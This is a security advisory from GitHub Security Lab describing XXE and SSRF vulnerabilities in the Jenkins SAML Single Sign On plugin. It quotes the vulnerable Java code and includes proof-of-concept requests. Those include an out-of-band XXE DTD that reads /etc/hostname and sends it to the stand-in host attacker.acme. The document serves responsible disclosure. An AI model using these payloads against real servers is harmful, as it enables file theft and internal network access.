Coordinated Disclosure Timeline
- 2023-04-13: Issue reported to the Jenkins Security Team.
- 2023-05-16: Issue is fixed and advisory publish.
Summary
SAML Single Sign On (SSO) Jenkins plugin 2.0.2 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks or server-side request forgery.
This allows authenticated attackers to send specific HTTP requests that force Jenkins to download and parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller, as well as server-side request forgery.
Product
SAML Single Sign On (SSO) for Jenkins
Tested Version
Details
Issue 1: XXE in MoIDPMetadata.java
(GHSL-2023-055
)
The SAML Single Sign On (SSO) Jenkins plugin implements a descriptor in the MoSAMLAddIdp
class, which exposes a method doValidateMetadataUrl
that is accessible via HTTP requests:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:1403
public FormValidation doValidateMetadataUrl(@QueryParameter String metadataUrl) throws Exception {
String metadata = sendGetRequest(metadataUrl);
try{
List<String> metadataUrlValues = configureFromMetadata(metadata);
}
// --snip--
}
The user-provided query parameter metadataUrl
is used in sendGetRequest
to obtain a file from a remote server:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L625
public static String sendGetRequest(String url) {
// --snip--
CloseableHttpClient httpClient = getHttpClient();
HttpGet getRequest = new HttpGet(url);
org.apache.http.HttpResponse response = httpClient.execute(getRequest);
// --snip--
if (response.getStatusLine().getStatusCode() == 200 && response.getEntity() != null) {
LOGGER.info("Response Entity found. Reading Response payload.");
String data = EntityUtils.toString(response.getEntity(), StandardCharsets.UTF_8);
LOGGER.info("Response payload: " + data);
httpClient.close();
return data;
// --snip--
}
And the obtained file contents are passed to configureFromMetadata
, which uses them to construct a MoIDPMetadataObject
:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:653
public static List<String> configureFromMetadata(String metadata) throws Exception {
List<String> metadataUrlValues = new ArrayList<String>();
metadata = metadata.replaceAll("[^\\x20-\\x7e]", "");
MoIDPMetadata idpMetadata = new MoIDPMetadata(metadata);
src/main/java/org/miniorange/saml/MoIDPMetadata.java#L39
public MoIDPMetadata(String metadata) {
try {
if (StringUtils.isNotBlank(metadata) && metadata.trim().startsWith("<") && metadata.trim().endsWith(">")) {
this.metadata = StringUtils.trimToEmpty(metadata);
MoSAMLUtils.doBootstrap();
DOMParser parser = new DOMParser();
parser.parse(new InputSource(new StringReader(this.metadata)));
As it can be seen, the file contents are parsed by an insecurely configured org.apache.xerces.parsers.DOMParser
, which allows the resolution of external entities.
Note that there’s another path that exploits the same vulnerability, but using a local file instead, in the MoSAMLAddIdp$DescriptorImpl.doValidateMetadataFile
method:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L1413
public FormValidation doValidateMetadataFile(@QueryParameter String metadataFilePath) throws Exception {
String metadata = getMetadataFromFile(metadataFilePath);
try{
List<String> metadataUrlValues = configureFromMetadata(metadata);
Impact
This issue may lead to arbitrary file read, server-side request forgery, and denial of service.
PoC
To exploit this vulnerability, first a server hosting a malicious XML needs to be set up. The XML would look as follows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.acme/test.dtd"> %xxe;]>
<foo>bar</foo>
To exfiltrate data through an OOB channel, we also host a DTD file on the same server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://attacker.acme/?x=%file;'>">
%eval;
%exfiltrate;
With the server up an running, an authenticated attacker can make the following GET request to the Jenkins server (assuming a job test
exists) to exploit the XXE:
http://localhost:8080/job/test/descriptorByName/org.miniorange.saml.MoSAMLAddIdp/validateMetadataUrl?metadataUrl=https://attacker.acme/test.xml
The attacker receives the content of the /etc/hostname
file as a query parameter x
at https://attacker.acme/
.
Issue 2: SSRF in MoIDPMetadata.java
(GHSL-2023-060
)
THe SAML Single Sign On (SSO) Jenkins plugin implements a descriptor in the MoSAMLAddIdp
class, which exposes a method doValidateMetadataUrl
that is accessible via HTTP requests:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:1403
public FormValidation doValidateMetadataUrl(@QueryParameter String metadataUrl) throws Exception {
String metadata = sendGetRequest(metadataUrl);
// --snip--
}
The user-provided query parameter metadataUrl
is used in sendGetRequest
without further validation to make a request to a remote server:
src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L625
public static String sendGetRequest(String url) {
// --snip--
CloseableHttpClient httpClient = getHttpClient();
HttpGet getRequest = new HttpGet(url);
org.apache.http.HttpResponse response = httpClient.execute(getRequest);
// --snip--
}
Attackers could specify any URL in the medatadataUrl
parameter to force Jenkins to make requests to arbitrary hosts.
Impact
This issue may lead to information disclosure.
PoC
To exploit this vulnerability, the following request could be made (assuming a job test
has been created):
http://localhost:8080/job/test/descriptorByName/org.miniorange.saml.MoSAMLAddIdp/validateMetadataUrl?metadataUrl=(arbitrary url)
Resources
Credit
This issue was discovered and reported by CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-055
in any communication regarding this issue.